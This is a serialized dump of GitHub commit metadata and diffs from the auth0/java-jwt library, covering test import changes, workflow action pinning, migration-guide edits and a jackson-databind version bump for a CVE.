+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class ClaimsHolderTest {
 u}(j7  (fce6b26b7885920ad6b406b0576db329bdf007c7j  @lib/src/test/java/com/auth0/jwt/impl/HeaderDeserializerTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X>  @@ -23,7 +23,7 @@
 import java.util.Map;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;u}(j7  (430490a49df0b84fcbc7b77190e1dd9e74735b88j  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  XN  @@ -27,7 +27,7 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
 
 public class JsonNodeClaimTest {u}(j7  (8cca7b53bab444d9e50bf883b0db2210d1d32285j  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X
  @@ -5,7 +5,7 @@
 
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.nullValue;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class NullClaimTest {
     private NullClaim claim;u}(j7  (5d44216e352ea2939bc9b8a9f7ccdfd594ce921ej  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X<  @@ -22,7 +22,7 @@
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;u}(j7  (d990978db257f3a6ffd6c27658d2e7f6cdcb4856j  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  @@ -12,7 +12,7 @@
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class PayloadSerializerTest {
 ueu(618c9968642ac4d30fab819210fd51d595473ffe}(sha(618c9968642ac4d30fab819210fd51d595473ffenode_idEC_kwDOAQtL0doAKDYxOGM5OTY4NjQyYWM0ZDMwZmFiODE5MjEwZmQ1MWQ1OTU0NzNmZmUcommit}(author}(name	Evan Simsemailevan.sims@okta.comdate2023-08-07T14:42:00Zu	committer}(jJ  GitHubjL  noreply@github.comjN  2023-08-07T14:42:00Zumessage?chore(security): Update and pin Graddle workflow actions (#667)tree}(jB  (5945c5e5f5b92bcd0555c3c6c3134e90adbd9879url^https://api.github.com/repos/auth0/java-jwt/git/trees/5945c5e5f5b92bcd0555c3c6c3134e90adbd9879ujZ  `https://api.github.com/repos/auth0/java-jwt/git/commits/618c9968642ac4d30fab819210fd51d595473ffe
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJk0QK4CRBK7hj4Ov3rIwAATIMIAHDy1CHE8SGQ7ea7dCP5odS7
BcfSRcd09V7/037U9XcAAPp7YwkxCGhdkJBDGFZRTY/EhCoNBX2SpCfO7gmvsR8B
A0BXYc3xmdMvpbUcsiirvZ4Go8+4KHbrcKJMI9z5d4tYjzMVDbl3vEVJjLvLzBO5
jVVVIcg+vm3DjOXfrr077xMkaFESZyozFPzuN+AY6WxQOmKKWhJ0uFlCsDWSR0q8
FMRkVW/KvxYFJjY2XLiL1gsQn2ctgIRQM6wjQ8/DEOIE21I+I2H1Eundzpgf9joT
TbXpKuonVUNPZgepfn1T5Ca8kxg/zRGF0NOsJhxUUeXtorVl1xotJYQKEWrRDFs=
=ERZ9
-----END PGP SIGNATURE-----
payloadX>  tree 5945c5e5f5b92bcd0555c3c6c3134e90adbd9879
parent d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6
parent 8c9bbf8d838e6fed8ab589106a47eeb0b381ef28
author Evan Sims <evan.sims@okta.com> 1691419320 -0500
committer GitHub <noreply@github.com> 1691419320 -0500

chore(security): Update and pin Graddle workflow actions (#667)

uujZ  \https://api.github.com/repos/auth0/java-jwt/commits/618c9968642ac4d30fab819210fd51d595473ffehtml_urlQhttps://github.com/auth0/java-jwt/commit/618c9968642ac4d30fab819210fd51d595473ffecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/618c9968642ac4d30fab819210fd51d595473ffe/commentsjH  }(loginevansimsidMjD  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3jZ  %https://api.github.com/users/evansimsjh  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminujP  }(jm  web-flowjo  J/jD  MDQ6VXNlcjE5ODY0NDQ3jq  4https://avatars.githubusercontent.com/u/19864447?v=4js  h3jZ  %https://api.github.com/users/web-flowjh  https://github.com/web-flowjv  /https://api.github.com/users/web-flow/followersjx  <https://api.github.com/users/web-flow/following{/other_user}jz  5https://api.github.com/users/web-flow/gists{/gist_id}j|  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j~  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jB  (d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6jZ  \https://api.github.com/repos/auth0/java-jwt/commits/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6jh  Qhttps://github.com/auth0/java-jwt/commit/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6u}(jB  (8c9bbf8d838e6fed8ab589106a47eeb0b381ef28jZ  \https://api.github.com/repos/auth0/java-jwt/commits/8c9bbf8d838e6fed8ab589106a47eeb0b381ef28jh  Qhttps://github.com/auth0/java-jwt/commit/8c9bbf8d838e6fed8ab589106a47eeb0b381ef28uestats}(totalK	additionsK	deletionsKufiles]}(jB  (ce302cb45d6a1624e5c4f2ce5d1c85313f7d61cefilename/.github/workflows/gradle-wrapper-validation.ymlstatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/618c9968642ac4d30fab819210fd51d595473ffe/.github%2Fworkflows%2Fgradle-wrapper-validation.ymlraw_urlhttps://github.com/auth0/java-jwt/raw/618c9968642ac4d30fab819210fd51d595473ffe/.github%2Fworkflows%2Fgradle-wrapper-validation.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fgradle-wrapper-validation.yml?ref=618c9968642ac4d30fab819210fd51d595473ffepatchX<  @@ -6,5 +6,5 @@ jobs:
     name: "validation/gradlew"
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
-      - uses: gradle/wrapper-validation-action@v1
+      - uses: actions/checkout@v3
+      - uses: gradle/wrapper-validation-action@8d49e559aae34d3e0eb16cde532684bc9702762b # pin@v1.0.6uau(0d3864da70b1831d4a923450d41cd784ba181c91}(sha(0d3864da70b1831d4a923450d41cd784ba181c91node_idEC_kwDOAQtL0doAKDBkMzg2NGRhNzBiMTgzMWQ0YTkyMzQ1MGQ0MWNkNzg0YmExODFjOTEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-21T15:31:43Zu	committer}(jŨ  James AndersonjǨ  jim.anderson@auth0.comjɨ  2022-04-21T15:31:43Zumessageupdates from PR reviewtree}(j  (4d689722cdfada4461b7157d0072c646abb3db6curl^https://api.github.com/repos/auth0/java-jwt/git/trees/4d689722cdfada4461b7157d0072c646abb3db6cujը  `https://api.github.com/repos/auth0/java-jwt/git/commits/0d3864da70b1831d4a923450d41cd784ba181c91
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujը  \https://api.github.com/repos/auth0/java-jwt/commits/0d3864da70b1831d4a923450d41cd784ba181c91html_urlQhttps://github.com/auth0/java-jwt/commit/0d3864da70b1831d4a923450d41cd784ba181c91comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0d3864da70b1831d4a923450d41cd784ba181c91/commentsjè  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jը  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj˨  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3jը  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j  (fef52cc0bd7b1039436ebe09abbe569123812b02jը  \https://api.github.com/repos/auth0/java-jwt/commits/fef52cc0bd7b1039436ebe09abbe569123812b02j  Qhttps://github.com/auth0/java-jwt/commit/fef52cc0bd7b1039436ebe09abbe569123812b02uastats}(totalK	additionsK	deletionsKufiles]}(j  (c47b95c2369e9409f4ed353fa9674924c401d923filenameMIGRATION_GUIDE.mdstatusmodifiedj  Kj  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/0d3864da70b1831d4a923450d41cd784ba181c91/MIGRATION_GUIDE.mdraw_urlahttps://github.com/auth0/java-jwt/raw/0d3864da70b1831d4a923450d41cd784ba181c91/MIGRATION_GUIDE.mdcontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/MIGRATION_GUIDE.md?ref=0d3864da70b1831d4a923450d41cd784ba181c91patchX  @@ -18,7 +18,8 @@ This guide captures the changes you should be aware of when planning and upgradi
 - Support for the ES256K algorithm has been removed, as it is disabled in Java 15+. The `Algorithm#ECDSA256K(ECDSAKeyProvider keyProvider)` and `Algorithm#ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey)` methods have been removed.
 - `com.auth0.jwt.interfaces.Clock` has been removed. Instead, an implementation of `java.time.Clock` can be passed to the `BaseVerification` for testing purposes.
 - `com.auth0.jwt.impl.NullClaim` has been removed. `Claim#isNull` can be used to determine if a claim's value is `null`.
-- `com.auth0.jwt.impl.PublicClaims` was removed, and replaced by `com.auth0.jwt.StandardClaims` and `com.auth0.jwt.HeaderParams`.
+- `com.auth0.jwt.impl.PublicClaims` was removed, and replaced by `com.auth0.jwt.RegisteredClaims` and `com.auth0.jwt.HeaderParams`.
+- `com.auth0.jwt.interfaces.Verification#withAnyOfAudience` no longer provides a default implementation.
 
 ### Behavioral potentially breaking changes
 
@@ -54,9 +55,9 @@ This class extends `InvalidClaimException` and represents that when validating a
 
 This class contains constants representing common header parameter names.
 
-#### `StandardClaims` added
+#### `RegisteredClaims` added
 
-This class contains constants representing the standard claim names.
+This class contains constants representing the registered claim names.
 
 #### `JWTCreator` new methods
 uau(fc0ecbabc97dc6b65fb020b8aed5c9c71891718d}(sha(fc0ecbabc97dc6b65fb020b8aed5c9c71891718dnode_idPMDY6Q29tbWl0MTc1MTc1MjE6ZmMwZWNiYWJjOTdkYzZiNjVmYjAyMGI4YWVkNWM5YzcxODkxNzE4ZA==commit}(author}(nameLuciano Balmacedaemailbalmacedaluciano@gmail.comdate2021-09-10T07:55:41Zu	committer}(j:  GitHubj<  noreply@github.comj>  2021-09-10T07:55:41ZumessageUMerge pull request #513 from auth0/restore-with-issuer

[SDK-2758] Restore withIssuertree}(j2  (c914d532175e728b47b24f1f5b018a4f1b1bb084url^https://api.github.com/repos/auth0/java-jwt/git/trees/c914d532175e728b47b24f1f5b018a4f1b1bb084ujJ  `https://api.github.com/repos/auth0/java-jwt/git/commits/fc0ecbabc97dc6b65fb020b8aed5c9c71891718d
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJhOw99CRBK7hj4Ov3rIwAA9voIAJydVGtmATARZGzrbYtz9Xsi
K4EbNBCmgHd8PpFO3eBkrBp1VzTuaH1qBvKizZ+PHgXV/r6WhP4EJEYgYHwnl54A
QWr8e6f/+PxxdAV2oh5gJx+AVwg6i4cDaPtiT7NkJ5w8LUCW+Di5YUvqOlRmCKup
t9quWgDcd3qAKosPF1YN8uy9ileiFIUOqiNU+cB4dSHU8lk4apon4Lfr6xkLaan4
6Wi9uwLH3Il8VM8GfSEPW8QY+Fnytq5ssX8n/wgIKSLZ7otmJ4BrN5FM8SY5ZeXH
AKeQMU8D7ZNqUXzelojhLPWgrazlAtA3zPGOcCh02+G457iRCp78NxjBa74I6L0=
=vAVo
-----END PGP SIGNATURE-----
payloadXb  tree c914d532175e728b47b24f1f5b018a4f1b1bb084
parent 971d6fa4c632c1b815d485fe4a63be76c439900e
parent 3ca141bcd42a36532ea0d783dbf84c0fff1f00a1
author Luciano Balmaceda <balmacedaluciano@gmail.com> 1631260541 +0200
committer GitHub <noreply@github.com> 1631260541 +0200

Merge pull request #513 from auth0/restore-with-issuer

[SDK-2758] Restore withIssueruujJ  \https://api.github.com/repos/auth0/java-jwt/commits/fc0ecbabc97dc6b65fb020b8aed5c9c71891718dhtml_urlQhttps://github.com/auth0/java-jwt/commit/fc0ecbabc97dc6b65fb020b8aed5c9c71891718dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/fc0ecbabc97dc6b65fb020b8aed5c9c71891718d/commentsj8  }(login
lbalmacedaidJۂ; j4  MDQ6VXNlcjM5MDAxMjM=
avatar_url3https://avatars.githubusercontent.com/u/3900123?v=4gravatar_idh3jJ  'https://api.github.com/users/lbalmacedajX  https://github.com/lbalmaceda
followers_url1https://api.github.com/users/lbalmaceda/followers
following_url>https://api.github.com/users/lbalmaceda/following{/other_user}	gists_url7https://api.github.com/users/lbalmaceda/gists{/gist_id}starred_url>https://api.github.com/users/lbalmaceda/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/lbalmaceda/subscriptionsorganizations_url,https://api.github.com/users/lbalmaceda/orgs	repos_url-https://api.github.com/users/lbalmaceda/repos
events_url8https://api.github.com/users/lbalmaceda/events{/privacy}received_events_url7https://api.github.com/users/lbalmaceda/received_eventstypeUser
site_adminuj@  }(j]  web-flowj_  J/j4  MDQ6VXNlcjE5ODY0NDQ3ja  4https://avatars.githubusercontent.com/u/19864447?v=4jc  h3jJ  %https://api.github.com/users/web-flowjX  https://github.com/web-flowjf  /https://api.github.com/users/web-flow/followersjh  <https://api.github.com/users/web-flow/following{/other_user}jj  5https://api.github.com/users/web-flow/gists{/gist_id}jl  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jn  3https://api.github.com/users/web-flow/subscriptionsjp  *https://api.github.com/users/web-flow/orgsjr  +https://api.github.com/users/web-flow/reposjt  6https://api.github.com/users/web-flow/events{/privacy}jv  5https://api.github.com/users/web-flow/received_eventsjx  Userjz  uparents](}(j2  (971d6fa4c632c1b815d485fe4a63be76c439900ejJ  \https://api.github.com/repos/auth0/java-jwt/commits/971d6fa4c632c1b815d485fe4a63be76c439900ejX  Qhttps://github.com/auth0/java-jwt/commit/971d6fa4c632c1b815d485fe4a63be76c439900eu}(j2  (3ca141bcd42a36532ea0d783dbf84c0fff1f00a1jJ  \https://api.github.com/repos/auth0/java-jwt/commits/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1jX  Qhttps://github.com/auth0/java-jwt/commit/3ca141bcd42a36532ea0d783dbf84c0fff1f00a1uestats}(totalK	additionsK	deletionsK ufiles]}(j2  (cd2061d79b9e8e0439d0caa9a246f95073d2b657filename<lib/src/main/java/com/auth0/jwt/interfaces/Verification.javastatusmodifiedj  Kj  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/fc0ecbabc97dc6b65fb020b8aed5c9c71891718d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaraw_urlhttps://github.com/auth0/java-jwt/raw/fc0ecbabc97dc6b65fb020b8aed5c9c71891718d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=fc0ecbabc97dc6b65fb020b8aed5c9c71891718dpatchX  @@ -8,6 +8,17 @@
  * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
  */
 public interface Verification {
+
+    /**
+     * Require a specific Issuer ("iss") claim.
+     *
+     * @param issuer the required Issuer value.
+     * @return this same Verification instance.
+     */
+    default Verification withIssuer(String issuer) {
+        return withIssuer(new String[]{issuer});
+    }
+
     /**
      * Require a specific Issuer ("iss") claim.
      *uau(115b0555d3d02a061235eec77ddc7303db5dec68}(sha(115b0555d3d02a061235eec77ddc7303db5dec68node_idEC_kwDOAQtL0doAKDExNWIwNTU1ZDNkMDJhMDYxMjM1ZWVjNzdkZGM3MzAzZGI1ZGVjNjgcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-10-24T04:29:52Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-24T04:29:52ZumessagexBump `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2

Resolves https://www.cve.org/CVERecord?id=CVE-2022-42003tree}(j  (2d458ee4f130840bc02ed3849f624112a3ca597eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/2d458ee4f130840bc02ed3849f624112a3ca597eujũ  `https://api.github.com/repos/auth0/java-jwt/git/commits/115b0555d3d02a061235eec77ddc7303db5dec68
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjVhTACRBK7hj4Ov3rIwAA+BAIADWKPcCokL28atM3Rk83KFzv
eRYyNa4KRUz3h3MGl34PenatfT7KB6V0MfhWn2r684rQRFvPOaz3NnjEJtbuNGpL
u2h5TSobB7vfSnseowetfkvxqQbkt4dYQ6fxR7RHjicD9mXyKmpd6HF9fVTWwNGK
ZYMm1sVVb/EZA79964/lK8qQfdJPINKbg7V10GE1rGMjgrbxAkqtWHMt9M0/n26i
Rm5nxuwNGnCXkCj7eE5XFsvHNVviqC7L9bv9JXih+JGi6/PTebChqiIIaU0uqPbB
591ILB7Q+3ty0cusSOsVAgI69f1MvpUa/AgKaPBZdgN6YlTv5IFCIwa9PnKHfGw=
=f/6C
-----END PGP SIGNATURE-----
payloadXF  tree 2d458ee4f130840bc02ed3849f624112a3ca597e
parent 3d3980de9c0a84b6265de9263647cdbfda7c8a5b
author Evan Sims <evan.sims@auth0.com> 1666585792 -0500
committer GitHub <noreply@github.com> 1666585792 -0500

Bump `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2

Resolves https://www.cve.org/CVERecord?id=CVE-2022-42003uujũ  \https://api.github.com/repos/auth0/java-jwt/commits/115b0555d3d02a061235eec77ddc7303db5dec68html_urlQhttps://github.com/auth0/java-jwt/commit/115b0555d3d02a061235eec77ddc7303db5dec68comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/115b0555d3d02a061235eec77ddc7303db5dec68/commentsj  }(loginevansimsidMj  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3jũ  %https://api.github.com/users/evansimsjө  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj  }(jة  web-flowjک  J/j  MDQ6VXNlcjE5ODY0NDQ3jܩ  4https://avatars.githubusercontent.com/u/19864447?v=4jީ  h3jũ  %https://api.github.com/users/web-flowjө  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (3d3980de9c0a84b6265de9263647cdbfda7c8a5bjũ  \https://api.github.com/repos/auth0/java-jwt/commits/3d3980de9c0a84b6265de9263647cdbfda7c8a5bjө  Qhttps://github.com/auth0/java-jwt/commit/3d3980de9c0a84b6265de9263647cdbfda7c8a5buastats}(totalK	additionsK	deletionsKufiles]}(j  (9cc4349c922f5ac34e0de86c614aadb3dfa1888ffilenamelib/build.gradlestatusmodifiedj  Kj  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/115b0555d3d02a061235eec77ddc7303db5dec68/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/115b0555d3d02a061235eec77ddc7303db5dec68/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=115b0555d3d02a061235eec77ddc7303db5dec68patchX4  @@ -65,7 +65,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.4.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'uau(6f94d823682cf4ddb717d9e336c6f49004078b4b}(sha(6f94d823682cf4ddb717d9e336c6f49004078b4bnode_idEC_kwDOAQtL0doAKDZmOTRkODIzNjgyY2Y0ZGRiNzE3ZDllMzM2YzZmNDkwMDQwNzhiNGIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T11:15:37Zu	committer}(j,  
Poovamraj T Tj.  poovamraj@gmail.comj0  2022-05-06T11:15:37Zumessage.Removed ES256K tests since it is removed in v4tree}(j$  (050fa4a4dc01049a4b3c8cbf8fc1fa115d0d8a8burl^https://api.github.com/repos/auth0/java-jwt/git/trees/050fa4a4dc01049a4b3c8cbf8fc1fa115d0d8a8buj<  `https://api.github.com/repos/auth0/java-jwt/git/commits/6f94d823682cf4ddb717d9e336c6f49004078b4b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj<  \https://api.github.com/repos/auth0/java-jwt/commits/6f94d823682cf4ddb717d9e336c6f49004078b4bhtml_urlQhttps://github.com/auth0/java-jwt/commit/6f94d823682cf4ddb717d9e336c6f49004078b4bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6f94d823682cf4ddb717d9e336c6f49004078b4b/commentsj*  }(login	poovamrajidJ j&  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j<  &https://api.github.com/users/poovamrajjH  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj2  }(jM  	poovamrajjO  J j&  MDQ6VXNlcjE1OTEwNDI1jQ  4https://avatars.githubusercontent.com/u/15910425?v=4jS  h3j<  &https://api.github.com/users/poovamrajjH  https://github.com/poovamrajjV  0https://api.github.com/users/poovamraj/followersjX  =https://api.github.com/users/poovamraj/following{/other_user}jZ  6https://api.github.com/users/poovamraj/gists{/gist_id}j\  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j^  4https://api.github.com/users/poovamraj/subscriptionsj`  +https://api.github.com/users/poovamraj/orgsjb  ,https://api.github.com/users/poovamraj/reposjd  7https://api.github.com/users/poovamraj/events{/privacy}jf  6https://api.github.com/users/poovamraj/received_eventsjh  Userjj  uparents]}(j$  (4573ba0537c5a34b768be4149ab817075cdbd111j<  \https://api.github.com/repos/auth0/java-jwt/commits/4573ba0537c5a34b768be4149ab817075cdbd111jH  Qhttps://github.com/auth0/java-jwt/commit/4573ba0537c5a34b768be4149ab817075cdbd111uastats}(totalK	additionsK 	